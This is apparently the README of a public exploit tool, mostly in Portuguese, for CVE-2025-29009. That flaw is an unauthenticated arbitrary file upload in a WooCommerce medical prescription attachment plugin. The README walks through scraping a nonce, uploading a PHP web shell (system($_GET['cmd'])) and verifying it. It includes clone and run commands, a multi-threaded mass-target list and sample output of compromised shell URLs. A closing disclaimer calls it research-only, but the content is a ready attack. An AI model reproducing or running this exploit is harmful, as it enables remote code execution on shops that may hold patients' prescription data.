
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 é vulnerável a um Arbitrary File Upload de alta prioridade.
O plugin WordPress Medical Prescription Attachment para WooCommerce <= 1.2.3 é vulnerável a um Upload Arbitrário de Arquivo de alta prioridade
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
Causa Raiz:
O manipulador AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) aceita uploads de arquivos via wkwc_pa_prescription_attachment[] sem validar a extensão do arquivo ou o tipo MIME no servidor. Um atacante não autenticado pode extrair o ajaxNonce da vitrine pública do WooCommerce (embutido no objeto JavaScript wkwcpaFrontObj) e, em seguida, enviar um web shell PHP diretamente para o diretório de uploads do servidor. A resposta retorna a URL completa e acessível do arquivo enviado.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Crie seu shell PHP e incorpore uma string de assinatura exclusiva para que a ferramenta possa verificar a execução bem-sucedida:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Salve como shell.php no mesmo diretório do script.
A string NxploitedShellOK é a assinatura — ela deve aparecer na resposta do shell para que a verificação seja aprovada.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
Alvos sem
http://ouhttps://recebem automaticamente o prefixohttp://.
| Arquivo | Conteúdo |
|---|---|
shells.txt | Uma URL de shell verificada por linha |
Terminal:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Corrigido na 1.2.4
| Campo | Detalhe |
|---|
| CVE | CVE-2025-29009 |
| Plugin | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Atingidas | Todas as versões ≤ 1.2.3 |
| Autenticação | Nenhuma necessária |
| Tipo | Upload Irrestrito de Arquivo com Tipo Perigoso → Upload de Web Shell |
| CWE | CWE-434 · Upload Irrestrito de Arquivo com Tipo Perigoso |
| Código | Significado |
|---|
shell_file_missing | shell.php não encontrado no diretório de trabalho |
no_front_page | Nenhuma página candidata retornou HTTP 200 |
nonce_not_found | wkwcpaFrontObj não presente em nenhuma página |
upload_error | Erro de rede durante o POST |
json_parse_error | A resposta não é um JSON válido |
success_false | O servidor retornou data.success = false |
no_attachments | Upload bem-sucedido, mas sem URL na resposta |
shell_url_not_found | Não foi possível extrair a URL do arquivo do HTML da resposta |